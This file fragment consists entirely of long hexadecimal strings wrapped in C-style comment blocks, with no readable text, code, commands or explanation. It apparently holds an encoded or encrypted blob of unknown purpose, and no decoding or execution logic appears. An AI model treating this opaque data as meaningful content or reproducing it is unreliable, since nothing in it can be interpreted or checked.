7ff49baa608cee0ac2fd92fbdfe83ad7618a36e67daaeff35009cc7260a336f456f794052b79c7491f2b621066a7707202d77dab30963415a87d7bb372d44b5d4a35b68dea032a66196c19f90e514ab4c5fc579131220550c446f1c264e96ab13c23da81fc10b4ca08b5dfdd08db36d0b813881bd0e2f900a1d21b9b06777a98b4a5026e1a0cb8d72efad5ab93317422f704cf642e26128982d84873df6cd65b0de05b92967f32d782e5e7dff74de391211e26c93ec71c980ea3302c4456fcf4878faad09b329038e4b5be4fb99d80cd2e689952f9745914b661ebb05d6682b370740c7ca44b7e9807c912592741eba16962cdf074e0fab2b417fb75264d6565ad13ad8beb83566556b87201489415e3b1fc2b2a78687b2171a6964c2f51eeb1bae90303527cebaeebad822529d10fe7b8ce384519b1dde2b01ff131bc053d03ed7e939c2bdc64d24dd0a3035ecd848109d822351d8431b467837ab4594dcc3a55e54c657f3e92277b7bb8d7dd9bcdcb9839632da03e6fc0966b8281d68d7b9a747d22a01ff8429a1673efcb55bbc449266318c12b100e5963ab3e55f9ee785f3066cafa709e698b1b3ebe9fc2c0044e852d4d6cc2b4dfba6785c9e8d69e0a5b0429da79d18f3bfd8dbd4b778afab56d41fd1e4eb89d7ac04615da34f8b11fb49da3da126ab9a15df71288d8820fdc2c20e9abf1c67073345d75e5f2c42c403488b9d632e115*/
/*8fa3ad7b61b4a21e2feadb0298b699abed994f4620d333feb5ee1976c690340cd58089bb96f75bb59da18367c66d0df8b618dd9c9269614d2e0542e77fd7487ce21a8dad29b03001cb18448fa70e326dbeaca3864a20600994fed74090f0efd548e8b128750f4308693c85cca554136394f0ac34706994a1a05f65ea7fb5b3efb44d1ef1840d5ab59afed892114a220c655702c192efaf2bb64a35abccda6277c2b1fa31aeb10ae81fef7145af9ebef50ea065c9f254f60e53ad2882441ef6ae4393b24e60bc7a50c02703931007e7841a1f4c9c9e3ba52ab6c08e6b1448cceebdf9541f14fb033272bf0529da1eade6c8b3880967d84e6e17d0670d97121095a4ad65afd40987e0820b1128e07117d084b41976100ca42b634c48d6cb6be41ee5292dab5f11c7156469d3ea4a25de3045dbf8c333d650f005d82ef8bbb6741a31f4898ff28f77b72da6f549be87ca43dc28262e2b94e3694139547162f9a99214b019e4fe58cd8c000f24ee422d2fb1a38b99c84b5585fa768e9e8f6ef0818e7e3c181a1b4cd99e00f6b71a166f9195fb5b7436e81013ae327b3628de42092a3c9f58318a2160b2e74b7b3fbcc2b08f2aa676fb23a5b55ec4a8b9d02a73d32593a9c9615ad24656ad1ceaea4b7dd386817db6648b4ed12c70e099b386c2dcda176054eaf8dfccbe10cafaffb2a8c0b4e51575e0e79ceb7069a4f4c42bb1b29d0e8db8e3c604d9ac79c9e26b8fb1da6e8467c7b73d2a153f18255dbc23706fec76c9a4d5c76c3f85dcb6f00f8e65f7a83e7bca8cdc3e63f372f040494da41a4e8c42f9913581ef9a27affa039173cdbc8844e0edf5ce4daf4d357ca7bb340f9147ddaf758f4a3e9e4beb2b53f8c632ab22c3c5f38c622d9419127dfad94321e270ef212b131833742a9027f710049ce5e26fd74be8488346dff919920b5dc8abf4d32fee9df0e4b6003512a8001b9bee4211c5ca86ff6314961cda4a79726a4cff3fd297a13ae5ccda08392cb1f1d773397bdeccce449f23f960c04773a424deeaf92b2511e7a366d6c09712ec8a93373ebdc5eebed9b18a5080ff49795b2ac015aeeb54868536370903c4e843007713b931dbad4f603d90bc14f37cada5e470b4176b436cb2af4b478aa58186e948500ebae90dfd48e31ce0e9a7857fe1879c6b2124183a161ce8766a20174bd3712bc54bb388c6b8de7ef8cee76713a6fdaaa921ca68c3166ca461d777a62774beaad8750006776e372c049689bb73e195e21e6db88a21fb22cab4183bdf457f163099ce8908cab4b77712190c21a13f810b0f7b921cad883f36d785ef41441b2a864c90edde59e402482fd5a48ccb38fafa8d32104ff4d0654d8ecd5840b653c50da26963a5acaf4cd00f86876f44949b4ae69ed17535c856c8f6f23fc99ed13becae6c7f53e40f3398f25853a9346067525765ca720b7025f98985e91e1760454e5e7594cb0c0e6dd248bcb0d16b338805508c9b59334ee7e5664dd14e5ab8dd2a044b6f81487a5556060d82b582189f41e4523c3dbeae8eaa76fe348befb48bf2adef5c6aac6c4545b008a330322e56b5c2000750857b849674ab84fb8f859f6d69a30fe0ea9e63dcf9fa20be427eed7070d908aaf080ceb7d2e1d446ed434c73e738380e98ecd2ea7e1c5d53c85bca64f06ac3d97fe59460acea6e044b07f1fc86977aea023ab848dc669df5a0d3a667f6a47bba8c153a55019711232a243240f0902e742f9c71ae39d9c0092705275e74dec8e4f72251e3f21e7f0806406df0b026cc438c4dcf99c5e35146580192dd94a0e2e6c905e714afb222b29ae1735746712454b29f269443d33f795b7b765b8368b4dc2dc4e7296084d67fbaeab1d7773c4550fa4a0ab9cc50177a9f89b7d34eeea4d4f585c0e79c0f20d3f89e1a68a6f92f229fa5cc8e30dd1018051683ca60eed66ebe7f151415e6a4935afa1a8fb6a0969d6f10f368aeb9b97062581cd6cc31b0d94d1937917022df506e368bac98b7845c13ef1990d2155c9d26bb7a33ebe12f50dfb36b1f47dbe490795c8d3bb57fd711988cf07ab83e5892cff2c0099b99f9b9c195bf2ceb13ab768b21566b2ef49540f1e710fdfda034d10d6ba8bb7a1c39b9a4a6b96cc30063195e135be46876b732fc81096f97c6452ddd64aa9fc806fbd5a4e390cc3e06a1994b49aeac2190f4ea807a879c66181878992ded169374ab61eaf34f4fd4de61aa173d96dd2f0de1902178620fee0682a290702a668ee8a4e5205f27eb4ce68617a988d6720c989013c4e04621953156d8e923b36f21abff40c39b11277d8b640425e3a44e0525b606dbb390265d4d8795dfed01f1a24c74d9afc7e4e6155d54e1146dee756f39c0783e6ce282b406a55da8b3a8745f1caac9d3667a9ab7079c0bcac9ede3df718b48726975ea21d9ed6936333cb470cddf27f1a136a3a1846a5073860b634be4fbee2935f6184a965bd5aeaf0bcb2d2978432626c7184e7aa4ee0395a749fffa5cb0cdef3f7e82cbffb7c8e39b0572cb14fdd78e3302a3ac78a5084449bed242eb1a8f810583d20f46ea0ff5f89c6d06908b1c1b6139d66d9f143bd9ed0ae172b90535d7fa1367041f224c82968a2bb4a35093dc32f31e3c3276d947527ff6879f2403f29ebe028ea394660f32277e772288eaf50a9674da4e5aae446e23cfd69aaa03ea5aee486d76a11286610d94034c2ed5bb342a302d95f475c0d2a484963f02e515e7a15219950ab2d1aece1a1d5620c6b6b32f11ab0275edc66dccf1162c4d1b5286569bc99047b3e269a01199123ae07973aa7da8e021ad571db0*/
/*cf437210ba7736213d1a64ebcfce8efe8dc291c313429ce3fe66b02253f77e384ceb0e3d5dfa6bdd4459957ed950bd40cdc0f8fcf9fe1af78f06c0b167162a9fc0956748f727bf76a941ee0d6871895f338d720f6b68ce78297911fbc9f90a81a03dddb3de4e7f562237ce9935b0deb1637d9dda1c73ebdb9d21559f669707af169734ca6b5e1fe01db9dc89504a6b2950276c94dd2678dcb0e766d17ed3c4df4acf1feca7df777357c788c3ab7b6106fd6921da3a0aa18eb269ddec0203cd6da5300f4399b67b27e63d1f53a733a1419ebedc7d65cf7fb1557a3825218752346de37089674ca5d26b284ef50e3336bbc74cc7aed669b6e96f2085943ddc8e7ad741b608a8793f6c66b3bf7a1b495cbdf92e174e93cf8e5dcd3e7996df3d8cdd44c3a4f9d01d73e81e85b5e166598c4ff2dc8beccbac31db338c3222f411c4dd090410f7c30dfc839069887dc466b411b6a52ecee7b133ae2e37e5de723b699e9a01a77b641adb276f8f0d8a24b4f8a4a6e53ae364f9a744ab13f21ce2142529138adbbc73e857e9e1761e1632bacb3854ffaa66a3eebf5e6030ffd8d65f654f156639ba3f19fbeea054a374f1b8d647cd3e9ca5cc6d300932fd0e773d8d75ff18f7ad492b240edbedd8e873c6ff9480764315386a2585b7f7fd2a36275c4c657d5db5851a74d976cbccb5e3fda055aa66a012b5f3740b2c5be890b1bda566d4d77cb2aee44d1e5783323f6b2dc97384ac460249aa3db89acf60df7e7929a527c2cfb91cd27f4bbfb5daa87d945688d4a370bf09b136acda32a8a6c86240614cd208415fbe675643a30411b9263904ceb598cd30cdde50fdcb529f3da5e02d9910ab1e64ce39453571a7ae27c2711323abb2d7934b96a2d79a5bc2b1ddda4da3be7cefaf4ee3754706e7c745027ace0d07c298a613166ca08d37b0ec6a836058676fe40bba5d2caff95bad82c29c88cfef2089599da36847bab8966e4652d73717aad4adfc19ebed67936ace8d41d81cbeca13954bed99c3632bd9e66687b49c6675cfc15bcf4feca7c74769f5cdeb53f96a29bf02c4f7e339b0f5aa3d2131ad0badde638eb1eb7153398653df14998222410d7cd7ba6a12af00b2552b2c6e630f01c5c57fdfc4a143649a2d1f956bb99b05b8857ca3651fd044b9166276f7cd9eb8f4ddf7acdc673dacee5fb87f11f71ede9994af27e145cdae2744ad650dd8855bdfb94e2917ecb3dcc055cc8ab75bef11c6028d1deebf61344ee761824a3b97427e619f88ca059a2c14da4b54226f36cbcdba97a78b72caf36808683101f6f9ef99e65b408ecf99fced9728b6b2d22c1934fbf1d8dd9664227fdb58d3b3893a56573adf52fc30a5f649406b1693df916e45dd1c1de8fd2776d70e46aa03aec9f8e3e3f5b4bc44a165e0eeb2a394abad50e39fd59b3116b9867b8e7309de8de137bc6745596388a49ff43b24c8903b4ca9cd158db58b5b3fa860fd7b5e169ed9afe6f2e4ac14bbbff79f5da31c46a761d3ddd474d55a6b2a5b36403d47fa58b39e7303c64ef9926d3d5ca912d6cb109b7f657c0ccbae8086ea667cccec8dbc98274082ca0ecb2a2046aab261320fd2b999cf87215b5fe95b2e272ad5c85576c8fa2d499ce0242d236f93bc3b6c8a94e57040d68cf086c92aff98039f17dc70209a3253175ca52011e1f64bc923981445e657fd60fcc8246a81229e45a187e7423b887a40c67797f0d223baafddc166011e5d2208602fdac935658388a8ee4d169a2ba8d1d743b85ce1073de0eb63a8fa1a47e21c94b7ef56f8b1ccbaf74a829f3718cc530d7ce1765e13d5fc3b1ced5aa0c8cc069984e5efe58e58d6926dbfeb9818f365006bb6e992d3412bd3be3f262bb41a3f032daf059b571881c67777cd63778d3c5541931d0cc34fb9224e3b4de5b49d80bf1fe27eb7ff84110493e71b320cef6750852cd3c925f498061a7786989a6360ab572147eb026ed87cbd1ae249f48e405a62b954f3694d92bfbd75a3b797e5262e8c2352d574d3aaf3a6c4e50f4fa6bf7538602abd24911735b76eae1f38d198f2df6b775d1a55747865b16df4fbdcffe4944c4aff82b7a3be9bf70b33d3ec3df6bc8e923f391e6f3c70622d217deb2e9c1ef8f038e10d67cf3a0ae83501e3b360ca5a2176dea6bf003f2cb221c0b593aa91d9022646e0ddd6736afe8cb22d3b8be931e3007311f65a7c93645ca06109fad8a4e4e33b991f4b7a65681064928d49228177caf83de4a92246215d9ca01ec7a4d0fa5621e980c21507ff8d8036ba14c952406b990f696e38646897414a4b2f50f7884cb976e257a7c22d0a1a47509f48b3fcacc6865d3609a9792c787bec23f0bfb86eed5fedd644387c2e4b58e6172f1ea93719a98758c344ed4cbec7f1d99f4d57c6fb306c227d3f180d01436b10efecd329139ce4733f52c8aed7788d401f77affd030912d0b9cf9c4b3de33becb16f2a8e8e9b7955f5af5fe0ade94d1aef7f049e4c85e3f8caebcd3492edffcccb6194fcfa6546d754e5936ac21dec67a42c1fbfeed7c515381d2c8cb8beb3256aebe8cac3d4b3640221e152ec3f250f4f9b4fec7a397d4314699f1a6f68e97a32073038742a08c910f69d48bd6465380c2a409f2cec92b9b953cffef992dbd4ff6eaaee9cd5cd7a65d11ecf330bb16718884f2915f8ed7c965701bd7c0c533498656e581440c75b4ba6a4b30f4667e23cec6e27d91af436355a1272dcaf844da3485b397243455ad28f29a52b2abf41f888d9a90e7cb251ef127beb9b16c6a898370532ba16fb190d8a546cdbdc9d3df7114b893dd70babf505*/
/*42d2c6206e1d50edbf4779ff7e76421daa7751dfd6360be1745d7fd270e5176515fcff8dfedb926bef18aec2b91c5e916227de1df860d4be16857b1edd62e4cdcaf8db685eb8febb6c8550e75486c9a646311b662c39bb5b547324e32a5dc5b0e7363a739d04991874a6a01038b1d06776f01287765e246fe62c89e7f8993c0e38e0ac77bbb713470e120b9c58b98ca9cd2eaececcaee6863ff0ae558b9d441266ee285fe6eee3471809b0eccb324ce0ddaf141cfbc573f0d6adfe76238015f42721fbd1c1bf0245d612e1e7a84be87d4ccf3ef9c1d61d414f49653297f219b8aa9db5d09c35edf5eb3764306a4b21290eb2ee764890661b9b79c3dac8488a9b0677483654f17eacd95bbce7ef373f34cc368edcb7666c1314643ea06f40d8e5ef008380e7d6fd1ec4f3348a522e758e39e9b0df06a37d8eb0a2b609e93e5e617593fc4cc119abb175d17c85b910c25378030a293e0d8b5aa0ef45f623905aad3888b6ce773eb8dbbf940b3bdeedf6553ad2af56ed105eefb551b1b5f1a4312132a2589ddc5bd35810c1c30e8f08f268329b8f9dab38dd943bc3756fb1052f8430252420c5eb455f0b13760ca07aab2303206117d87f7c5c07367341bb14db340a50794518f8af70b2e4c07d3868fa1e44caf5ec1dd36d656f5005853fda41e0354d2a6733ee105428b0a2902b466b639efcb03cf6ac7566b9af69ce78de691b5aa84acc37742ab4e0d63abbfce05b9fd526d1e1efbd77aa9b549f0fd3f7abd6629052759539940f738cf22b86494f8229e70d58e78aa11f00c1cd62220dec7282d022afd20aa412733024fa2908352528a0b238b3d409ee16bbbc4100e326cf580168ab113f7e7ccdff01b4dff60efaead46d32c24709a898703a9159e5ec6262727a3d24d5751098505af61ad5cf555cfffa53b146ccb0d98059a6d97ff35576fe62a7fb1436c0c6692142c940088048f8b62b7e3756a9d3c355b75ea16a5637005ace5d1f59d3d11900e1be3254bf9efbd58b05966b4c1491c4ff65ed33e35016060d768d214a6dfc665a89528740e4a9a023e9d0fc87f960dc309894f0cfce5129032053156b9cffc22b11f50734222030b3b4298a68a53ff1fdbb1a162ee4347df1234109eed0c6e1b2675978212ea9ef231b56ed67d8689a3f063605419d5fe70ea5d45e13a2c6f9fe2de07f45bc41e855e74cbbaf4144d99a3b92ebfb27df5c4a5920816a658de7a3e180e86a5dd039378ea6d03ea04a4574e1cd10ea1f1c598f9a3fd91cca1c840d401e4d397da086ac1cfc1579361883cd3170cdf340ea12d11a5e4a82bb2ccf83636f7495787dd9525c802d4ed7108aed50d46f4cd92e0bafc325fcb116b1e5be25124173a73c944dbee792d0a28e85abb5f7468dcc76599f64742b8f6850ad95fbcc360903e96e8c9e9b1ed102a94e8cc8ca1b06ae5c7efa4de96971c50223a0461c8bc0e2a2523540619475b1c59b1ae715dc0d8a03bcf6e5bf50ebac7742f3b5559aac9c60b6fd9679ac70df9bdb47b8b595ac5fb432f0484c88cbf9fb3c56cc1694a6f9e663e5a9bcc7bfd974489bf9c30477bbcb4f80f9528bd738e4abd2d001f7c04ac72571b56397d519c30420d2d7ac411db0e4ef17579f077a26bf89ed5fa0d75adc401228059a941942844a6b58f0aac2314c9431957ecd49d7fe67812e98bbc63a4b9e798fb6aadb662f50409e31ac369cf7c52039284c2cfb387b940a68601326d44bb4363e16b36702346a6130043c3208a7ac4905e3a3f424c1190c195226aa0ac56b25026df09f45af71387bc545070075fd89e59dcea8323a6eab4cf678cd0b6c502e90d4bc5ffd7aef6e95016582fd1d87ed21e3c4e7a1ef2c1f4bc60159a299fae45f1fda193851ab58651d1230051a07a685e24db96f1a2ec7efa233a6217fc094370fa7e78aaaed836228ee755e978d7f53ef2de331a3c947bda82003b8966f827b1254437b4b35d51969f2d408ea42ddef4d8e9bd472e09dc772de2b104fdf0d95929a2c2d325afb5984f4785d3673540183eea4cf68f792f53986af0737243d157c920518f3b61188acfda92bf98cf4bba532da880d6e75a39ac36865fb08a773b389753d7a956a2068c8f7deb6abc9dbeae31a4ff77909b0208873e6acc9b067dd1ab56bb690d51f20da8090739f14d85daedef703a67e24ea9591159611bf9b41d81c105b3fdd37598efee25094ffd0a3e544491ca7e7aa276f6ba399d3d6b65f26da9a2d61e0e728e691f7c815e590de58fc438ab239519cee00024fbb4c198e783b44e02a242ebd15392860905bd439d8d346a98e642fc1265239dd6762fb93d216b501391d2f39f02eba3d75fefa69303d85b9459d342f40a3554e1d3b074f3878270f8009af2a903b27231fb5834bde5044be75a35c6fdfad962ded3523b87cbe107846d30409314c6547d2ab4765b1807c270b6ad0e30b6e06c37b3e6e8d416a8c0c21104f2e43657cc5a5adb4b707bf87b0374cb38d1b485ba279fc4256aa9e1ce339c6bab0f74511dbcb0fb10873534bb85dbfe4851f9b341c605a5a706e3cc8356cdb3dd94052c7074867edf97e4caa20a933d343a622a2743bb64f821cca0f510abf0f7e149a7d0b5c6f17d5a455f38dc4cf5cade30fda7c102f9aace50e98ae0d287e925b7771879fd62990c0d7a8b7ba02c4f9084053f54a65b9a38b323b953cc69fbd61a886fae0772e18ff517849463eeadac367d94bdf1a7361ff02f309aef4543212e42bc129723b175a0316f95150ce3312c5a24137dcf6b7321adb0db5b73b819369cd0b625675407cf7c2285d58bffb*/
/*d7bfc085cf94614025ab2ca8c9bbae9dca9e0965409a66cb80d80629b61ac23b0bd8e62ac6972704da560fbfe0abc0c05222306d417bcfee00badd8be81ae787e6186c403786f5677d9144fc10083f9bffe43e9e046614888dd9846626a12ba9ddf1f9d0c3e388aea860511d2d77a5ab8e915c8620f1cd3c7962da0235d52569cb85dc31a9a796f2aeaa123ba6b8cc77e56ca62c7cd3bc3472b1fd12735bbe0357f779d9be12e1f516dd12740834d1a1d722ca9d1ea80d7d37f2af87ff1d59e7d41c8a80dc32faf8ba54385ec99dd2161470459b9541671d67ade270f4a203a8e6a7ad45391df539bdb143b9f175d86529960df3a9c69d6548d03db6afe22f9a465ef90cd42da09713a5d188256b35c991c5dd3567c586fa91ca501f02b0d6e68a94ffd1c156bcad1af954d32c9de69878e90f56bac38d2ce8f675140ea4a7d80da6978be8f53599bcbdafff31ad15577767d94f8ff406f74d6e55c08d3ec07b9ad324489dc42095f746870d1469f2ceb9556791862811f28cb1de2828121de1833be1d0ac04cde1933f76cfac82e493c30c4840033f6eca4064c7bbb82d8e178e324239dc764804c127901648e0437f6287151b557f101e761dda1c23f650cccf5d0798101081022371474944f5fcec40c23f6126caca569dee1ee00e2268a0a6edcd2c685dfda57f37c31664427918010231bfe073b41558cf58a24b0847fe659c1efc56dd8fa312f075b6f0e5c7339bc542b547c402b04118d474b68962b00688fdb0b2876cdda787b2d4c912d8ed82cf640efe576c1b68599da5f0a4855e2977d2d153633c41e2572a20b71cccd13fe13a636b2ac847a775994166f09f11be11aeafcc1feecb7c1f42073c65fc07bed007f24aca8afdb751a4c638b33478493963a9e0d28b4bfc942a7b9cfd4b4e1a3e6af7c100ce3e223d044aa300176a29638153e021a7bdb80c8e7ae7dd8e51e3891396e74e30ad3da63826a6cf263edf90fb8771dddf8aab8cd02a961a3941d37ae894d634d5d4161bba571fa5f998eb80aa987c451f32f4f14222cc0159e510586d73f4ee549052f452a0e458fc19540f929d3d9fbcb2a728899e4335e19e2998eeed63ba4bbfa2f6de1ae92467a2ba9d75dee3cc27054451c91e51f54be43a38230c153bdaaf9d7a110c31441cbef0907956e4f8babff870a8e7e282b6e3600492a9a401b9cfc1f74f510d68a448af979eaf5a219ee2e1e7c4e2ad62c0362bbd48b12c6f901d1380c6e5518384691a5973c89d5afc262f69f7a12ef0ebe55b795a3de57c66512448b102fe7ec7ec15c099a2396af55c6e96be3ab1da115b1582bda694f778dad78623c7bca16b0f2135a77626d4e285f94e0254070b6769de399666095c33ac1326b525eace4c321b9c38e73b906ff025f937d6c7d149dfcc2bbe1a0e7b311c094dc3ee644076508c3b155712ea820130b9b6d40c48257b93a679c5400b602262ff99c57d132cd5d36e587dcc4bf13c2c100892c6b37ca1c4e91a930ce79d2593448e184d78879e315d052832e878258d7558fb2e62b1913d5ab21f4313858b6b566c7dee4a4d3732479c3d431ff06d404cd7823e1b57c30c34aa35815fe02fc1ca8997f7a67e8206600ac89e24056b2086f5f7df43a9d72fa775b96069229edec6b13c52a34ad1a4df82474f920a840d001160067e3c73833b15778fee6dd125e034fb590c8e4801593d156dbb65ae87f45e6ab75b6901da6b7db9b386871f3571096d31f3fde04b3911304ae0871c4d744157a1c9768f09878ea93d73f3d9fe918ed12af1f96ac8bd9016a48a3ed7099e5233285a5e6ed7f216d055fe6eb6127a825c383934edd1df132f1a8f7958dd77d6d059a77820843b20d0aa9189c9aeb527620a1d17235a299d898f8acbca3cd080727b8f8fc56664b8dae21a657a7e31d1a68efd569b0736f944a024145e4a1304e4c336f270a93500149fe8fa03b6ddf73fbca415daaf62f660b6e90150050ea42904793df619d5da8c580f5472b74280e9927dc77d9785d760094f3bc0bc1143d468729f60dd208f982ea2e505d7c7eb96bba23afb59387587f31ad46a84c9eebf2f99976cb8a6a1cc8ec9ab5c9cf917b93f668478d9e3716cb6f80ae159bfafcbf06f751e6d1fc0e1dfc59a23a9d214f6b8315b674d7c6138ee1fe0bd469e96d37d2ec54f1b5ba22692a478c27cc0bea8254c9e743f236b8954da02d856df317b84271628a8c725e3a7bb70eb52bda36eb59495fa93972c453998ee25818f8f9159952966aa7772bb38846e2af4fe7a7d740082f88b3cb6ac9192ee8a2d125fd292c3ae075aee424bdf167e2da77df84dc4cfdced3563a3e67af6603b36f5972d408e10a2d2ebe346248729c3e027bb42053c7d26e30f752af9c49686b0d0b88379114b133dd1ba9d95f93a57131605ea1bd53abc3ac33f0cf507ba98e8a51bd57e20f6bca5a8935043fbc4d7664a30a445177d0400dff3280671ca1a737e7e2f4e3dbec59de89c183546bd408c2f26fde79b1ddbf6cac600794961df0b6b75045542368fcfd4cdfe4cfbfc4eee0a13e645dbb18bce607807212c0ed74f936d543d1c75cec5706f83e98186957b9163c61e907e48b9b399eb6b7ae59c519dbf05918bbef89c9b585056f6dbf7e70a9b0e9d75d7478ae301a17460bb49b09efb5fcc542b0b6a4ed843af00becff4fc3ce0aa73c097b1c0725bcf6246b498a7de5ea89d09813b6bfecbff2d38cf7de4cbb735bf3d007e591a5db11a42ccd31dd224c8c135099bb2268ebdb03e20e53a4747078495593ba46cf149e064e445d6605aa0fba2af*/
/*b569de392e4e2acd9a2d4b4bfecee67f8064cf67a8ee516d484da0adadc84313580f582be90ddc196f81324b370cd6b95a5d227e71398e46d9cf049d6cbe12d4cc36df92f313fdae60b36498c0527240a6b092d97289bee70b6a6823266fee73c46ce70f46fd1fb3b54dc2578caa682b6c240d6b890930979f8649ccae4314a2aaeba8aa4e7f487c980d8a5e7d1d747f72212ffb6551784cbcf4b7375abfa8639ab98457cabc168509da364fca12b04b2ef8ef648e72437004fd5e910f669ef8a32c5be5ed131737469f25ad4abe981975437f96da97e140394bee1b2ae17758890e5804193d956cadf8e670e6e91cee342f29e6560bff45637f49a07388e1f9f79a0d18175580c91992cdd231193f8b777e773fb6df30fab84110877162df857b1d234f28ed58172f45cba5e9e81fd4df8d272ef1e3e3de92cfb4274e4bdb696571ad6c5423e5d180a43f4ebcf7b503c501b22960d899444f6cd9551d366a50bc5b1e3f1135f66002e75e96ff487e7e1e83eca48ed438ede6a50e4d93638312ec69f24d4a857454031ff28470c4195a8a5818ba9e0a05c809296f91f6dfcde248e8c649ba1cddf4d32ff36f58069bedaf9f1243f45c5d42f66aea9a42f0efbef98391ad99f51142723a1bd69b720ef18833237f25dcf194e0cd56e7e46cd63cb003e5d8e80f65d05aa6687add978403c9106c7e88db074e224d4ea925d42e7bb2c887b127bae26f6b32eb69cf707ea9165161beabacb601115c978f94676b019456afc928278c058da8e45f61468406ba751ea55b533ee01848d62ac9c3cd401838baa381bc300a50de4f8f2fbc04ad48b4058ad088c7f7da4d620101a996b8e6a05301c93e1b2099c0d69f42445fded3ae72e3e83a0129dcfab758bba897ec2d64bd4edd9a7999ea634acb73333ca6c80632fa15bfe672f01b626e957cd6875ea668bfbf7a366d77b319c8b5c62b6945366955a8c0e82a97e0f7dd27072241b634a6cd2b3f6c1416dad644f65df0a68a42bbe20cdfb4089e9d916133a2b0d79edc2bd139a501cf342745d232f1340c0e75ec9fcaf1d87b9d0b27991b948d993153ef5913fd6dd60a6a44b82f7e39a80919346f7062bb92df1d835f3df6408598b9e622310a90585ab1b97580dd7f3380272d37d4a7bc9fc1e60a96c8c6b8ff9243ff4c14fbf0609be9daf99a5965756288589577b17c3bf9ef271408fd0513a6fd29f6bbc14cc46dc265a130a6fbfa9ee042209eb1413a85db01ebc6bbef602528627a1f5d3e65b792e1e7445438f2e8fc6c058db7ea0441750a8164d8d600369c6c57b1218379968629a031f5a0a271c1f1754f0a17db54dcdca535977bcd2a9b36da950da8c41bf4234b470049df3085262db6a7f2d38f56ce17d7097740a1130d07f9d99a60a59d1db50394b7e24db9ca96ae1919aa49700386d886d2e912a9bf6cc83fb1e99c651c392d4c05db386e49ea11ba0ff2308c5fbc344b954b8238f2c8881dd64faa46d5adf574143b3425062414c7c1ef95aaf48989fae027db6149d83c6360f6f381e114ce4f42b7e389505f6f46596360ceb68add05a1fe91f06fb0b630808b35d575c41f43e44cc8288ce08dee7049f73b907d9e94765655b3221f242b066d73393e78f826dea0d8a03004164f67c7319cd7cb63ab7f751eb05d0cf86d63cc0558d34979063acc879f4bfb0b01e4f8c9d6f150d349ab6fd15577ca83677a70933cd994ba23c78364052c067960adbdbaaffe54aa89a8793fd1b53ea942f930378457b4b0997d6f439d4580ab31b02827da79f608f4c77fb6fdf42bc5a0bf25431c497ec5171734f9b801cbd5af3b1c8b08b81f0d9b945ba9dea3dc5452b67f912aad3d5184e15c1bcfd11487aa68db9d83865e52e3022eb280569a2eeaab7b0d713ee6c9b4c543564fb0dc985959d82da28509319b05251aa6e928b2e13ede51c6b0d015679bdf5e6c1968be7a535b6281ed64ca0ea5ababb347f4e27d8a5f645ceb14bec930fd06bcdf87ae6396e7c8babfd39ba7aa8faf6f08d1c04496dc572942a7c5466c48530e7465d52c86f5ff9a75b291b4cb38cf2f82ec8e9ba2470c3472fd8f455bcd462d3e8fe7da12648e2ea6d9c0c4967936368128fd0f7ae41cd124b1f0f9d4bd95855ee527af14a5157931d7cbf4ec220e3b600c494b833a624d32ac4c5f5a384a6d7fa1a14d83c64564211ca3024833376fc3830c673769764ab697ca5fbae8b529252aae2ace65b169a0b43a6c3d9168d95c1ae9172587c53cb665dd90e840f2b1434528b55bf9a117e8d74d958a0e63ef9cb7bf11a123f7942de35114ed8e80449467afe26bb28bdd659c19f30c1cc772a27c1187d5a56f7c6124374529ba649ac3bc218d875dda40cbadb60e150522922030a26a64cdeada63916e0bbd651726f3ec7799c1c10d0bf07f663179cc23ad84e1b768f3fe0f5d9c8c0bd7f2e6a9eb593f913365002bbf96a701cc315f1f489e4ce189550b70fde8c41be79c82dc7fa35c7d8a10ebf8e93bd52ea1b5fc86e357b04fbd762ff5b8ceaf1e404e442a9b283022898496c1181343f491792579e75747dc0c7394c8ccd06455c5ab15f25c32774a600989987dc2b06d36077b66edee27274d6cb81bc7f65cec1bd9c6a4eb11317e09d5bb27406537471e7f1a3963b61394f0c51b1a2bb6873ec4f363fc728c697e68fbdc25cf76d7ee1694abd485aef1091b7e5890dab6fdfb12f627f4105a561e4b012b8a9f45fdd89af5234d316944901c77bde66c0aacd53110f64c6babd237b707b9cc225bcac934b4fbc7a830ef0e5c7d83f1e9a03257b6eeb3*/
/*c2db1e2ad3f2cc94a62ba242fbd7a384a3cced5fbf4416a867f6b912f02fed21efffddaa3927e311b5e96f382e08b5ff8dd2d9671a6edd90f555ea458db6e3d71bbd9f9f374f133646cd20046e9abb3cbfb3228a661c2b0941ff11c3aae128cacdd938e07b0b5b8f48512359891512793228cc5ff784904bbe2ecf3edc3a19c8ae98086033c39902bd9a001873dc571fdcf207223480e8e229ed82b59551e46a33cc9ed20a49694440c9f5237c10b0f238d1099e5ff1efac0d9b3a75cbd26c0be322280d1e84e1599775b1f8664d9f5d290d5fb3728bedd3d51c459cf1962246c06530300fcddddf711749f5e9f122c83f45704c22edc1eca76af756d60745f5adb0680f92b6dc9694c857621a975ecce9143e9f196be9e2d077eafc17cd1122724c986bc5587cb22fe4ce566b1e7c8a7e5dcd6111d384cf160cb841058f57f3f16157b35deae4726b91a75856adb0b0f663bfcee259344bbb4cc29e63fdf397ca8d10feaf28ea921be2c4353bba13c8c8c7b1fb8cc8512a8a3eb50f26e7e6a20d2b0b70a65ab7b9246cdeeb1a4f1df64d96a85feabd3cb58e089b1ff2bf5f51e8e4b587e4ea84cbbc5078d322b5d8b7a43173da5fcac14b9e9833fb47cae80d2c2e50f217db3bcf9234fd9a356981f8f1bcdc81306ae349fe71a7e541a7d964669dcd5574fcecd3a12bcffe36ad237467df9faf5ea9eae43877b6cf5e8b134e8b07cde6dae0ee1fe2d1ee56a26756fb6401e5639c4f14914a7e94053f130810c2475ccb0768785a56c9265ee830644d645d7423a6dd7b9ff6b58f9f72f051594ff9c02b0c0ca9d5516ba92fb74c87a4def28568ba6e71d8d17b9a0c9ebdb009bea5047e9e2d6155af9025830f4cba8b19760b4b56090734039fe98aa03acba0e8429e9056e881bb3b0cc76851b5066ef37ccf4bb944f6bf14c7fbb43350e1693cb7dac997db7f3755d309ef788c98e60ca4db0a0c95c0ae029979ffdcd691a26e9cee6e6e1b9abd0fab000db2779f89257434f1cb976bd0d381de9399bf9449945725cb842b34105c1cabd7ac3ce52a91433fa6b0c5485364298f04a7c3c1ddd4788975998d8386d7bca099f8cfef2e3948bdb5f64926ca51c40fd833edd3ae6cdc8142259a945b02196e53a48856654abb2acb9e2c0e3646ab225d67b1164b090f6e18fb16df285dd1c0ac407162982a66880bff621625a1aa5024dd345b99cfa7f7d31e1d706f20ffcedf69303d921a7b4e69dd9e19b40175cd9dbf05ef988da525d29549b214a60b608c561ac1193812a45d25ad2a34c49451912a1041011944db543648d6ba4a962ca1ef54d680de3c65535819cf73f98d4